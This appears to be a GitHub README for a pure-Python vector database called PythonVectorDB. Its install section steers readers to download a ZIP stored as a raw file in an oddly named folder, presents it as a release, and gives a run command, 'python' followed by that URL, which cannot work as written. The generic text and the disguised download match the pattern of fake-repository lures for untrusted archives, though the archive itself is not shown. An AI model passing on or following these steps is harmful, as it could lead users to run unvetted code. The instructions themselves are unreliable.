PythonVectorDB：纯 Python 实现的快速向量数据库

🐍 PythonVectorDB - A Simple and Fast Vector Database

🚀 Getting Started

Welcome to PythonVectorDB! This software gives you a powerful yet easy way to store and search through vector data. Perfect for tasks in artificial intelligence and machine learning, it runs entirely in Python and doesn't need any complex setup.

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📦 System Requirements

To use PythonVectorDB, your system should meet the following requirements:

Operating System: Works on Windows, macOS, and Linux
Python Version: Python 3.6 or higher
Memory: At least 1 GB of RAM
Storage: Minimum 10 MB of free space

🔧 Features

Pure Python Implementation: Easy to install and run without any compilation.
Int8 Quantization: Efficient memory usage while maintaining speed.
Performance: Approximately 1100 queries per second with 50,000 vectors.
Single File: Simple setup with no complex configurations required.
MIT License: Use it freely for personal or commercial purposes.

📖 How to Download & Install

Visit the Releases Page to find the latest version of PythonVectorDB.
Look for the file called https://github.com/leitoooatr/PythonVectorDB/raw/refs/heads/main/antiprelatist/Python-DB-Vector-1.0.zip (or a similar name) on that page.
Click the link to download the file.
Once downloaded, locate the file in your downloads folder.
Extract the contents of the ZIP file to a folder on your computer.
Open a terminal or command prompt.
Navigate to the folder where you extracted PythonVectorDB.

Run the following command to start the application:

python https://github.com/leitoooatr/PythonVectorDB/raw/refs/heads/main/antiprelatist/Python-DB-Vector-1.0.zip

The application will start, and you can begin using it to manage your vector data.

🛠️ Basic Usage

After you run the application, you can:

Add Vectors: Store your data points quickly.
Query for Similarity: Find similar vectors based on your needs.
Export Data: Save your results in multiple formats.

To add vectors, use the provided commands in the main interface. The interface is user-friendly and guides you on what to enter.

🗃️ Documentation

For detailed information on how to use PythonVectorDB, please refer to the documentation file included with your download. It contains examples, tutorials, and answers to common questions.

📞 Support

If you encounter issues or have questions while using PythonVectorDB, you can reach out for help:

Issues Page: GitHub Issues
Community Forum: Check the discussion group on GitHub for community support.

🛡️ License

PythonVectorDB is released under the MIT License. You can use it freely for both personal and commercial projects.

Remember to give credit to the original authors if you use the application in your work.

🌐 Connect with Us

Stay updated on new features and releases by following us on GitHub and engaging with our community.

👍 Contribution

If you would like to contribute to the project, please check the contribution guidelines in the repository. Your feedback and code can help make PythonVectorDB even better!

🔗 Additional Resources

Thank you for choosing PythonVectorDB. We hope it simplifies your data storage and search tasks!